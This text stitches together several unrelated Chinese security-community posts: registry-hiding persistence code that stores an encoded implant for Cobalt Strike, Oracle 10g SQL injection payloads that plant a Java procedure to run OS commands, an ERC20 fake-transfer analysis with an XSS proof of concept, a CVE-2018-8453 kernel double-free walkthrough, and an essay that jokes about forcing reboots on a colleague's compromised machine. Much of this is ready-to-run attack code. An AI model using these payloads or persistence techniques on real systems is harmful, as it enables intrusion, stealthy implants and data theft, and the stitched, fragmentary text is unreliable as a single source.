同样，点击确定之后，导出的内容没有刚刚添加的内容。至此，添加的注册表已经成功隐藏，就 **看不见** 了。重启起效。
当然，期间也会出现一些小问题，比如有时候添加的注册表无法使用`NtDeleteValueKey` 进行删除，也懒得查找原因了，直接删除
`Run`（这个表项删除后会自建）。
最后，为了方便配合 `Cobalt Strike`使用，用 `C#` 重写以上代码（此重写代码多数取之
[SharpHide](https://github.com/outflanknl/SharpHide) –
之所以只是多数，是因为我在测试时，发现无论创建什么键值，都会提示错误），但是到 `NtQueryValueKey`
就中断了，因各种调试出错，而且当前互联网中几乎没找到有关于它的任何信息，唯一可借鉴的地方是
[NtQueryValueKey.ps1](https://raw.githubusercontent.com/jaredcatkinson/PSReflect-Functions/master/ntdll/NtQueryValueKey.ps1)。（希望有人能将下面的代码补全）
[DllImport("ntdll.dll")]
static extern int NtQueryValueKey(
UIntPtr KeyHandle,
IntPtr ValueName,
KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
IntPtr KeyValueInformation,
UInt32 length,
out UInt32 ResultLength
);
[StructLayout(LayoutKind.Sequential)]
public struct KEY_VALUE_FULL_INFORMATION
{
public UInt32 TitleIndex;
public UInt32 Type;
public UInt32 DataOffset;
public UInt32 DataLength;
public UInt32 NameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
public char[] Name;
}
Status = NtQueryValueKey(regKeyHandle, ValueNamePtr, KeyValueFullInformation, 0, keyBuffer, out keyBuffer);
效果图：
### 3.2、特殊的 `ValueData`
第一种隐藏技术，是针对 `ValueName` 做的处理。本小节使用的是 [Fileless
Malware](https://blog.trendmicro.com.tw/?tag=fileless-malware)
技术，是有效的针对`ValueData` 的内容进行处理。
这里使用的是 [Fileless Malware](https://blog.trendmicro.com.tw/?tag=fileless-malware) 技术，但是在查看键值时，也会像第一种技术一样会提示错误，但是除了指定的可见字符外，会将其他内容进行隐藏。与第一种技术一致，该内容无法导出。
// this writes the binary buffer of the encoded implant to the registry as a sting
// according to winnt.h, REG_SZ is "Unicode nul terminated string"
// When the value is exported, only part of the value will actually be exported.
char decoy[] = "(value not set)";
....
void writeHiddenBuf(char *buf, DWORD buflen, const char *decoy, char *keyName, const char* valueName) {
HKEY hkResult = NULL;
BYTE *buf2 = (BYTE*)malloc(buflen + strlen(decoy) + 1);
strcpy((char*)buf2, decoy);
buf2[strlen(decoy)] = 0;
memcpy(buf2 + strlen(decoy) + 1, buf, buflen);
if (!RegOpenKeyExA(HKEY_CURRENT_USER, keyName, 0, KEY_SET_VALUE, &hkResult))
{
printf("Key opened!n");
LSTATUS lStatus = RegSetValueExA(hkResult, valueName, 0, REG_SZ, (const BYTE *)buf2, buflen + strlen(decoy) + 1);
printf("lStatus == %dn", lStatus);
RegCloseKey(hkResult);
}
free(buf2);
}
void readHiddenBuf(BYTE **buf, DWORD *buflen, const char *decoy, char * keyName, const char* valueName) {
HKEY hkResult = NULL;
LONG nError = RegOpenKeyExA(HKEY_CURRENT_USER, keyName, NULL, KEY_ALL_ACCESS, &hkResult);
RegQueryValueExA(hkResult, valueName, NULL, NULL, NULL, buflen);
*buf = (BYTE*)malloc(*buflen);
RegQueryValueExA(hkResult, valueName, NULL, NULL, *buf, buflen);
RegCloseKey(hkResult);
*buflen -= (strlen(decoy) + 1);
BYTE *buf2 = (BYTE*)malloc(*buflen);
memcpy(buf2, *buf + strlen(decoy) + 1, *buflen);
free(*buf);
*buf = buf2;
}
先看看 `writeHiddenBuf`
* 将 `decoy` 设置成 **(value not set)**
* 然后将我们利用`Fileless Malware` 处理过的 **buffer** 放在 **(value not set)** 后面
* 通过 _3.1 小节_ 可知，`Regedit` 会自动截断，达到隐藏的效果
**只要 RegSetValueExA 传递的 decoy 字符串的长度+隐藏缓冲区的长度，它将把整个缓冲区写入注册表，达到隐藏效果。**
## 0x04 参考
[InvisibleRegValues_Whitepaper.pdf](https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf)
[渗透技巧——“隐藏”注册表的创建](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E5%88%9B%E5%BB%BA/)
[Hiding Registry keys with PSReflec](https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353)
[SharpHide](https://github.com/outflanknl/SharpHide)
[Hidden Registry
Keys](https://web.archive.org/web/20091104223505/http://technet.microsoft.com/en-us/sysinternals/bb897446.aspx) | 社区文章 |
## Oracle 10g 利用java命令执行的两个方法
这个网上太多了，不详细说。前提都是 10g，仅有create session或者其他普通权限（其实还是sys用户比较好使）。
1. 使用`SYS.DBMS_EXPORT_EXTENSION`函数。在oracle上创建Java包，里面创建执行命令函数。这个我将在后面的payload里详细说。
2. 使用 `dbms_xmlquery.newcontext() public role`
## linux 上的 /bin/bash 于 windows 的 cmd.exe 对于 Runtime.getRuntime().exec() 函数的差异
Runtime.getRuntime().exec共有六个重载方法：
* public Process exec(String command)
在单独的进程中执行指定的字符串命令。
* public Process exec(String [] cmdArray)
在单独的进程中执行指定命令和变量
* public Process exec(String command, String [] envp)
在指定环境的独立进程中执行指定命令和变量
* public Process exec(String [] cmdArray, String [] envp)
在指定环境的独立进程中执行指定的命令和变量
* public Process exec(String command,String[] envp,File dir)
在有指定环境和工作目录的独立进程中执行指定的字符串命令
* public Process exec(String[] cmdarray,String[] envp,File dir)
在指定环境和工作目录的独立进程中执行指定的命令和变量
这里只讨论前两种：
在linux中推荐使用 public Process exec(String [] cmdArray) 这种重载方法，
String[] cmd=new String[3];
cmd[0]="/bin/bash";
cmd[1]="-c";
cmd[2]=args;
Runtime.getRuntime().exec(cmd);
这样可以获得一个非交互式的shell，否则如果只传入一个字符串的话，只能是执行那一条命令的作用，无法使用bash语法，而’-c’参数可以调用其他指令。
在windows中，还是推荐使用 public Process exec(String command) 语法，因为cmd和bash一个很大不同是 /c
参数的调用分为两种情况，一种是 dos 内部指令，另一种是执行其他可执行文件。但是按照日常对cmd的使用来说，就算是执行其他可执行文件这种情况，比如
systeminfo 或者 whoami 命令（在system32下的可执行文件），也不会出现 cmd /c 于 cmd /c start
这两种执行方式混为一谈的情况。但是就我实际测试发现，在某些环境下，比如 oracle 10.2.0.1.0 + windows 2003
，在使用oracle内置java执行exec时，如果 cmd
调用了可执行文件，那么会另起一个进程，而此进程的输入输出流会莫名其妙的不知所踪，无法捕获到。所以这里应该尽量使用 String command
这个重载的方法，将这两种形式区分开来。
## oracle 与 java 执行上的坑
一般来说在oracle中存储字符串类型是使用 varchar2
类型，并且这个类型可以与java的String类型隐式转化，兼容性比较好，所以一般payload都会使用这个。
如果对于一般的操作，比如可以反弹shell，或者可以web绝对路径写马，这种情况使用varchar2完全够用，但是只要是碰上oracle了，一般这个站不是这么好啃，站库分离，数据库服务器无法连接外网什么的，这种安全措施还是很常见的。这个时候我们需要一些烦躁的shell操作，因为只能通过oracle正向的连进去。这个时候
varchar2 就不够用了，因为varchar2最多只支持4000
bytes，如果你执行命令的输出超过了这个值，oracle执行会出错。4000看似很大，其实随便 ps 一下，netstat一下，或者读取个
.bash_history 就超过了。
这里有两种解决方案，要么分块读，要么换一个更大的数据类型，oracle中有存储大文本文件的类型 CLOB 和存储大二进制文件的类型 BLOB，本来我尝试使用
BLOB 类型，但是最后还是在java类型和 oracle blob 类型的转化上跳进去没有出来。
这是我研究到最后的payload，但是还是无法编译通过，时间太晚了，不想看也不想写了，就这样吧，谁如果弄出来的话求告诉我一声，雪靴您！！
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "BBigUtil" as import java.io.*;import java.sql.SQLException;import oracle.sql.BLOB; public class BBigUtil extends Object {public static BLOB runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream())); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();BLOB bbb = BLOB.getEmptyBLOB();bbb.setBytes(0,str.getBytes());return bbb;} catch (Exception e){try{BLOB bbb = BLOB.getEmptyBLOB();bbb.setBytes(0,e.toString().getBytes());return bbb;}catch(SQLException ee){return null;}}}}'''';END;'';END;--','SYS',0,'1',0) from dual;
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function BBigRunCMD(p_cmd in varchar2) return Blob as language java name ''''''''BBigUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual;
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on BBigRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual;
select UTL_RAW.cast_to_varchar2(sys.BBigRunCmd('cmd /c type c:\test\1.txt')) from dual;
最大的问题还是如何把string的byte数组存入 oracle.sql.BLOB
，根据手册中说的，可以使用setBytes，但是有个很操蛋的问题是，空的BLOB对象是不能操作的，编译可以通过，但是执行时，如果使用`BLOB.getEmptyBLOB()`这个静态方法获得一个空的blob，对他进行的所有操作都会报错。但是如果想要非空的blob，那么就要从一个
oracle 连接对象中获得。。。。这样太麻烦了，而且我并没有找到如何使一个`EmptyBLOB`变的可操作的方法。。。。希望有dalao可以解答。
## 最后的非交互式 shell 客户端
所以如果这个方法没解决的话，我们只能用那种比较弱智的方法了，我撸了一个 非交互式shell 的客户端，用该客户端结合oracle union
注入，基本可以得到一个较稳定的非交互式shell，并可以上传下载文件，如果目标上有相应依赖的话，还可以爆破ssh和端口扫描，暂时就这样吧，困的不行了，睡觉。
github地址：
[oracle_java_shell_client](https://github.com/5z1punch/oracle_java_shell_client) | 社区文章 |
**作者：知道创宇404区块链安全研究团队
时间：2018/09/13
English version：<https://paper.seebug.org/709/>**
### 一、背景
2018年9月7日早上1点左右，许多以太坊钱包账户都收到了一种名为`blockwell.ai KYC Casper Token`代币转进/出账消息：
令人奇怪的是这些账号均表示之前对这个Token的“一无所知”，当这些收到消息用户并没有真正收到提示的那100个代币，而那些提示有100代币转出的用户在之前也并没有拥有过这种代币，这一切都显得“莫名其妙”！更加让一部分人奇怪和担心的是，这些“转进/出账”的操作，都不需要钱包拥有者的的任何密码私钥输入，于是很多不明真相的用户担心自己的钱包是不是被人恶意攻击
...
### 二、事件跟踪
首先我们从`blockwell.ai KYC Casper Token`
https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63
交易页面，看到的交易记录都是转出100代币的记录，没有任何转入记录。
再看看实际转账到账户的交易信息
https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63?a=0xa3fe2b9c37e5865371e7d64482a3e1a347d03acd
可以看到通过调用这个合约，发起了一笔代币转账，在event logs里可以看到实际的交易
然后具体的交易地址为
https://etherscan.io/tx/0x3230f7326ab739d9055e86778a2fbb9af2591ca44467e40f7cd2c7ba2d7e5d35
整笔交易花费了244w的gas，价值2.28美元，有针对的从500个用户转账给了500个用户。
继续跟踪到转账的from地址：
https://etherscan.io/address/0xeb7a58d6938ed813f04f36a4ea51ebb5854fa545#tokentxns
正如文章开头提到的那样：所有的来源账户本身都是不持有这种代币的，跟踪一下也可以发现，无论是发起交易者还是接受交易者，都没有发生实际代币的变化。
但是 **这些交易记录确实被保存在链上** ，那么这个事件的核心问题就在于：“这些记录是怎么被产生并记录的？”
### 三、事件原理
我们从合约分析入手
https://etherscan.io/address/0x212d95fccdf0366343350f486bda1ceafc0c2d63#code
不出所料，这种事件型的合约代码并不会直接给你开放源代码，通过利用我们404自主研发的智能合约OPCODE逆向工具，反编译后得到如下代码：
源码如下
contract 0x212D95FcCdF0366343350f486bda1ceAfC0C2d63 {
mapping(address => uint256) balances;
uint256 public totalSupply;
mapping (address => mapping (address => uint256)) allowance;
address public owner;
string public name;
string public symbol;
uint8 public decimals;
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event OwnershipRenounced(address indexed previousOwner);
event TransferOwnership(address indexed old, address indexed new);
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 0x841
require(to != address(0));
require(balances[_from] >= _value);
require(allowance[_from][msg.sender] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) {
// 0xc0e
uint oldValue = allowance[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowance[msg.sender][_spender] = 0;
} else {
allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
// 0xe9f
return balances[_owner];
}
function renounceOwnership() {
// 0xee7
require(owner == msg.sender);
emit OwnershipRenounced(owner);
owner = address(0);
}
function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {
require(owner == msg.sender);
require(arg0.length > 0, "Address arrays must not be empty");
require(arg0.length == arg1.length, "Address arrays must be of equal length");
for (i=0; i < arg0.length; i++) {
emit Transfer(arg0[i], arg1[i], arg2);
}
}
function transfer(address arg0,uint256 arg1) {
require(arg0 != address(0x0));
require(balances[msg.sender] > arg1);
balances[mag.sender] = balances[msg.sender].sub(arg1);
balances[arg0] = balances[arg0].add(arg1);
emit Transfer(msg.sender, arg0, arg1)
return arg1
}
function increaseApproval(address arg0,uint256 arg1) {
allowance[msg.sender][arg0] = allowance[msg.sender][arg0].add(arg1)
emit Approval(msg.sender, arg0, arg1)
return true;
}
function transferOwnership(address arg0) {
require(owner == arg0);
require(arg0 != adress(0x0));
emit TransferOwnership(owner, arg0);
owner = arg0;
}
}
从代码中可以很明显的看到一个特殊的函数`x_975ef7df`，这是唯一一个涉及到数组操作，且会触发Tranfser事件的函数。
function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {
require(owner == msg.sender);
require(arg0.length > 0, "Address arrays must not be empty");
require(arg0.length == arg1.length, "Address arrays must be of equal length");
for (i=0; i < arg0.length; i++) {
emit Transfer(arg0[i], arg1[i], arg2);
}
}
从代码中可以很清晰的看到， 在对地址列表的循环中，只触发了Transfer事件，没有任何其余的操作。
我们知道 **遵守以太坊ERC20标准的合约代币才会被承认为ERC20代币，ERC20代币会直接被交易所承认。** 而
在ERC20标准中规定，transfer函数必须触发Transfer事件，事件会被记录在event
log中，是不是说明平台和交易所在获取ERC20代币交易信息，是通过event log事件获取的呢？我们来测试一下。
### 四、事件复现
首先我们需要编写一个简单的ERC20标准的代币合约
contract MyTest {
mapping(address => uint256) balances;
uint256 public totalSupply;
mapping (address => mapping (address => uint256)) allowance;
address public owner;
string public name;
string public symbol;
uint8 public decimals = 18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function MyTest() {
name = "we are ruan mei bi";
symbol = "RMB";
totalSupply = 100000000000000000000000000000000000;
}
function mylog(address arg0, address arg1, uint256 arg2) public {
Transfer(arg0, arg1, arg2);
}
}
合约代币需要规定好代币的名称等信息，然后我们定义一个mylog函数。
这里我们通过remix进行部署(由于需要交易所获得提示信息，所以我们需要部署在公链上)
测试合约地址
https://etherscan.io/address/0xd69381aec4efd9599cfce1dc85d1dee9a28bfda2
注：这里需要强调的是：转出/入账的地址都是可以自定义的，这也就是为什么所有的来源账户本身都是不持有这种代币的原因。
然后直接发起交易
然后我们的imtoken提示了消息，注意收到的消息了包含了我们的代码里 `symbol = "RMB";`的值`rmb`
回看余额可以发现没有实际转账诞生。
### 五、事件目的
通过上面分析及测试，我们发现整个事件最后只说了一件事情就是伪照了大量的虚假交易记录，并没有其他“实质”性的恶意操作，那么这个事件的目的是什么呢？
我们回顾下整个事件的流程：
创建一个token ---> 伪造交易记录 ---> 钱包或交易平台获取交易记录 ---> 推送给用户
如果能找到自定义的消息，那么这是一条完美的消息推广链！这个事件的始作俑者非常聪明的利用了`token名`这个自定义输入点：`blockwell.ai KYC
Casper Token`，blockwell.ai这个就是本次事件的主要目的，牛皮癣小广告推广这个网站。
看你有的人会说如果只是用来做广告推广的话，完全可以使用代币的真实转账记录来推广，而不是利用伪造交易记录。这里需要提醒大家的是“广告费”的问题，这个“广告费”也就是合约操作里的gas消耗，伪造交易记录只需要Transfer操作的gas可以大大节省这个“广告费”，本次事件整个过程的话费的“广告费”约2.28美元的gas，就实现了对1000个用户有针对的推送了精准广告。
### 六、总结
结合以往的各种事件，相比于区块链的各种有限应用场景里，在“恶意”攻击或者利用的层面，攻击者们表现出了惊人的“创意”，本次事件利用了”交易所/平台却盲目信任符合ERC20标准的合约“的特点，使用了以太坊平台本身实现的“bug”，利用了最少的“广告费”实现了精准的用户广告推送。
另外一个值得我们去关注的点就是被用来做消息推送的点是可以自定义的，那么可能导致的风险是非常值得思考的：比如推送钓鱼网站信息，推送其他非法类型的小广告及言论，会导致钱包等平台应用方的用户的其他不可以预期的风险！我们也提醒各大钱包、交易所等平台警惕此类风险，必要时针对这些可自定义点进行相关识别及过滤。
### 9月20日更新：一个有趣的点击劫持漏洞
在复现上述漏洞的过程中，我们发现了一个有趣的漏洞，在上述合约代币用于做小广告的区域，是很少的一块我们可控的智能合约属性。
那么假设合约展示平台如etherscan等，没有对这里做合理的处理，是不是可能会存在xss等漏洞呢。
经过测试我们发现Etherscan就存在这样的点击劫持漏洞
首先我们先部署以下代码
pragma solidity ^0.4.24;
contract MyTest {
mapping(address => uint256) balances;
uint256 public totalSupply;
mapping (address => mapping (address => uint256)) allowance;
address public owner;
string public name;
string public symbol;
uint8 public decimals = 18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function MyTest() {
name = "<a href=http://baidu.com>12321</a>";
symbol = 'ok<img src=/ onerror=alert(1)> ';
totalSupply = 100000000000000000000000000000000000;
}
function mylog(address arg0, address arg1, uint256 arg2) public {
Transfer(arg0, arg1, arg2);
}
}
部署后我们我们用合约发起一次交易
然后查看etherscan的页面，在非常重要的进入查看合约信息的地方，成功被设置为其他地址的a标签
当开发者或者用户想要查看合约信息的时候，点击按钮就会跳转到其他地方做进一步利用。
这是一个潜力很大的点击劫持漏洞，攻击者完全可以用这种方式来诱导开发者或用户到错误的合约，甚至伪造的etherscan导致更大的危害。
该漏洞目前已上报etherscan官方并修复。
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
* * * | 社区文章 |
**作者：晏子霜
原文链接：<http://www.whsgwl.net/blog/CVE-2018-8453_0.html>**
## 0x00: Windows10 1703 X64 无补丁
## 0x01: 漏洞细节分析
如何构造一个触发BSOD的Poc呢,根据网上现存的分析报告我们得到了一个这样触发BSOD的思路.
1. 创建两个窗口,一个父窗口,一个滚动条子控件
2. Hook `PEB->KernelCallbackTable`中的`fnDword()`,`xxxClientAllocWindowClassExtraBytes()`函数指针的指向,让其指向我们自定义的处理函数.
3. 在`fnDword()`函数内释放父类窗口
4. 在`xxxClientAllocWindowClassExtraBytes()`函数内调用`NtUserSetWindowFNID()`函数,并创建新的滚动条控件,使用`SetCapture()`函数修改滚动条捕获窗口
5. 在`fnDword()` 函数内判断发送的Message是否为`0x70`,如果是,则向新创建的滚动条控件发送`0x1F`号消息
6. 向 滚动条子控件(Scroll)发送WM_LBUTTONDOWN消息即可触发BSOD
虽然这样确实可以触发BSOD,但是我们根本不知道为什么这样会导致`BSOD(Double Free)` 下面是本人关于CVE-2018-8453的分析报告
下面是本人关于 CVE-2018-8453的分析报告
触发BSOD的Poc中,完成了1 - 5的准备工作之后,便向滚动条子控件发送了一个`WM_LBUTTONDOWN`消息
我们知道,向滚动条子控件(Scroll)发送WM_LBUTTONDOWN,消息时,会调用到`win32kfull!xxxSBTrackInit()`函数,该函数主要是来实现滚动条跟随鼠标移动的,该函数首先会创建一个0x80字节大小的Session
Pool,用来保存 tagSBTrack结构
接着将创建好tagSBTRACK结构的指针,写入到tagTHREADINFO.tagSBTRACK处,在Windows10 1703
X64中,该结构的偏移地址为tagTHREADINFO+0x278
需要注意的是`Lock(&pSBTrack->spwndSBNotify,
pwnd->spwndParent)`,让滚动条子控件引用父类窗口,也就是我们创建的父窗口建立引用+1,此处很重要(PS:当时写Poc时创建滚动条子控件时,属性忘记设置WS_CHILD,导致滚动条窗口的父窗口非创建的父窗口导致无法利用漏洞)
`win32kfull!xxxSBTrackInit`函数最后会调用`win32kfull!xxxSBTrackLoop`函数,来进行消息循环,消息循环函数`win32kfull!xxxDispatchMessage`会使用fnDWORD函数回调R3,这时我们就知道为什么要Hook
fnDWORD函数了.
在`fnDWORD`函数里判断是否是滚动条窗口发送的回调,调用`DestroyWindow()`函数释放主窗口.
`DestoryWindow()`函数会调用`win32kfull!xxxFreeWindow()`函数来释放窗口,但是该函数经常被调用,我们可以使用条件断点来判断是否是我们要释放的窗口
Ba e1 win32kfull!xxxFreeWindow ".if( poi(rcx) == 释放窗口的句柄 ){}.else{g}"
此时在rcx+0x52处下内存写入断点 rcx+0x52 处为tagwnd.FNID,也就是导致漏洞的主角(也不能这样说,本质问题还是Kernel
CallBack).窗口扩展空间必须要在创建窗口类时设置窗口类的大小,在Poc中我设置为 wndclass.cbWndExtra = 0x8
触发`xxxClientAllocWindowClassExtraBytes`函数回调后,如何判断是主窗口调用的该函数呢,这里我使用了`SetWindowLongA(Window,
0, (ULONG)Window);`将主窗口句柄保存在窗口扩展中.
MSG中,保存了窗口扩展类的地址,里面保存了设置的父窗口指针,通过这个来判断是否为父窗口调用的`xxxClientAllocWindowClassExtraBytes`函数.
此时,我们创建一个新的滚动条窗口,不设置父类句柄,以及子类属性,并设置正在释放窗口Window的FNID为
0x2A1,本来Window的FNID为0x8000,调用`NtUserSetWindowFNID`后为0x82A1,接着设置新的捕获窗口.
此时父窗口虽然已经调用`DestroyWindow`释放了,但是由于滚动条子窗口Scroll还对父窗口有引用,所以并未释放,最后`win32kfull!xxxSBTrackLoop`函数结束后,对pSBTrack->spwndSBNotify和链接的主窗口解引用,由于是最后一处引用,调用`HMAssignmentUnlock()`函数时会判断被绑定(Win32
Object)结构的cLockObj结构是否为1,如果为1代表只有一个引用,修改指针内容后后便立刻调用函数释放该结构,此处释放的函数为(`Win32kfull!DestoryWindow`)
问题就在这里,由于释放窗口要调用`win32kfull!xxxFreeWindow`函数,而FNID为释放窗口的Flag属性,被修改为0x82A1后,会再次调用`fnDWORD`函数回调R3,并发送为0x70的Message.
判断FNID的内容,来决定是否调用fnDWORD
可以看到此处调用fnDWORD,并且发送的Message为0x70
此时,我们向新创建的滚动条控件发送Message为0x1F的消息,最终会调用到`win32kfull!xxxEndScroll`函数
通过在`win32kfull!SetCapture`设置的捕获窗口,可绕过其验证,直入到释放tagSBTrack结构
此时线程内的tagSBTrack结构已经被释放了,接着回到`win32kfull!xxxSBTrackInit`执行代码
因为tagSBTrack结构已经在`win32kfull!xxxEndScroll`函数被释放了,但是`win32kfull!xxxSBTrackInit`函数并不知道,再次释放该内存导致Double
Free!
* * * | 社区文章 |
非常感谢某公司给了我入职的机会，这段时间让我做了很多，也让我看清晰这家企业的安全究竟存在了什么问题。今儿想给大家伙来唠唠！
前段时间写下过【独家】我的企业安全推动|<https://xianzhi.aliyun.com/forum/read/793.html>
这么一文章估计大家也看到了。现在似乎很多企业都开始配备安全研究人员可是他们在公司看来有就足够了并不需要再做太多事情，但是在安全人员眼中并不这么认为。那么我一个人的安全只能借用巡风的系统(或者一些资产管理系统，具体可以去微博
@泳少寻找下我发过的)那么这些系统紧紧帮助我做微不足道的事情，但这肯定远远不够的
这些资产清点了只能自己看到，反馈上级领导肯定不懂你这是什么鬼东西了！
紧接着2017年3月份我参加了两个会议，1.先知白帽大会；2.补天白帽大会。参与两个会议让我悉知在企业安全过程前沿做的事情非常多，建立安全部门是一个非常漫长的过程，我也曾与我朋友聊过，后来让我深思熟虑的想到了自家企业的不足。
何为不足？最重要的有几点因素：1.部门沟通困难；2.一个人非常难推动整个集团；3.招人难！4.员工安全意识不足。先从第一点讲起吧，前面提及到与我朋友聊过，聊了什么？问的好，他也是一个人做整个企业的安全，可是他却有业务部门的数据支撑，比如掌握线上的一些用户数据（举个栗子：何时注册，从哪里注册，注册的ip来自来哪里，有没有重复ip注册的用户等等之类的）这样算是风控的内容可是我什么都没有，仅仅做的只是应用层上的安全这远远不够。线上究竟有没有被薅羊毛，哪个活动一直被刷，什么功能被利用。全部都无法获知。等哪天出事了，背锅的无疑是自己了。
第二点，一个人实施艰难的安全推动。前者讲到巡风系统，当然了也能发现到不少的问题，把资产收集丢入然后建立任务让它定期进行检测。某天发现员工的机器搭建了某些服务，采用了第三方框架，搭建了CMS等
你把它getshell了，给他们说某某机器上存在严重安全问题，请某某员工快点停止使用该服务或者升级，他们压根不鸟你，觉得老子在内网谁进来搞我机器。其实像这样的人可以实施一下
>
> 他若是不看重你安全。千万不要激动。先把他shell了。给他说。哥你电脑存在安全漏洞请快点修复吧，外界入侵内网了你电脑资料就被盗取了。他不该这时候就好办了。你给他执行个重启命令。等机器起来再给他说。他再不改。就来个死循环*10次的重启…………他回来肯定会求你说怎么修复的
这种话你可以当作我说的是段子，可是想深一层想要他们听你的话，只能来点强势的，让它知道真正的危险性！否则日后被外界入侵了资料窃取走，领导肯定会想：“老子每个月花多少多少钱请你回来做事情，到头来你给我整这出，我怎么像上级交代”
第三点招人难，若你负责招聘的事宜肯定会知道为什么这么说了。当然了这也有可能是因为现在整个行业的刚需导致的！我从15年11月左右就开始负责过招人的事情，那时候一直没有任何消息。后来到了新公司在2017年2月底左右告知需要配备多一个人手给我。我当时乐了好几天终于可以再招人了。可惜后来我非常失落了，招人并没有想象中的那么容易，加上可能地区问题，人员严重稀缺，每个月就从招聘站点上收到了仅仅几份简历，还得筛选，随后安排面试。直到写文章的现在还没有招到人进来，多因素的可能因为待遇太低为主了。那也不怪人家，安全思考的东西关于到整家公司的脉搏，为啥我会这么说？出现了简单的问题导致了数千万的资金损失，这个理由合理了吧~（上述仅仅是个人观点便罢了）
最后一点员工的安全意识明显的薄弱，他们会存在最多的问题，我觉得应该是密码设置弱口令、防范意识弱很容易导致被社工、信息泄露诸如把敏感信息上传到github等等。这几点应该最严重不过了，如何杜绝防范其实可以尝试定期的一些安全意识培训，让他们多参加了解到从中的危险性。
有人说培训这个要怎么讲好呢？其实啊，可以试试利用讲故事去涉及安全的知识点。比如我曾经在某个沙龙上讲到的电商故事小明在那个情人节上跟小红开房去了，由于他的穷只能尝试寻找酒店的支付漏洞，把金额修改成1分钱从而进行开房。不过几天小明觉得自己惹了什么病，去医院看病发现还得网上预约无奈之下继续尝试寻找预约的安全漏洞后续再次发现1分钱进行预约专家会诊等等，这样不就涉及了很多事情在里面了吗？但由于我个人的懒惰觉得写PPT得非常耐心还得删删改改找资料，又要把它美化。像我这样的人对艺术有啥看重的？我也没有坚持做这样的事情！
一个人做的事情非常有限很容易被耗光精力的了。不说了啊。痛苦，我想去洗手间哭上几个小时，谁拦我都不好使。真的！
标题提及了写在最后，那么这段话肯定放在这里比较合适不过了。提离职当天跟leader谈了很多，说出了目前的不足，他也很想挽留我，让我留下当好这个安全负责人，带着新来的小伙伴，还说道日后会让我建立安全部门，多招几个人进来一起共事，但是后来我想了下我并不适合在这个年纪当上管理人员，也不会安排别人工作，攻防是对立的，三年安全之路前两年做了攻是再喜欢不过了，感觉成功突破某些点那感觉……很难去描述。但是防御这块我还没任何经验，我想再去试试看，试着是否防御也能找到这种荣誉感！没有为该公司安全做到最后。但未来很长，我希望总有适合我的事情干下去的~ | 社区文章 |
Subsets and Splits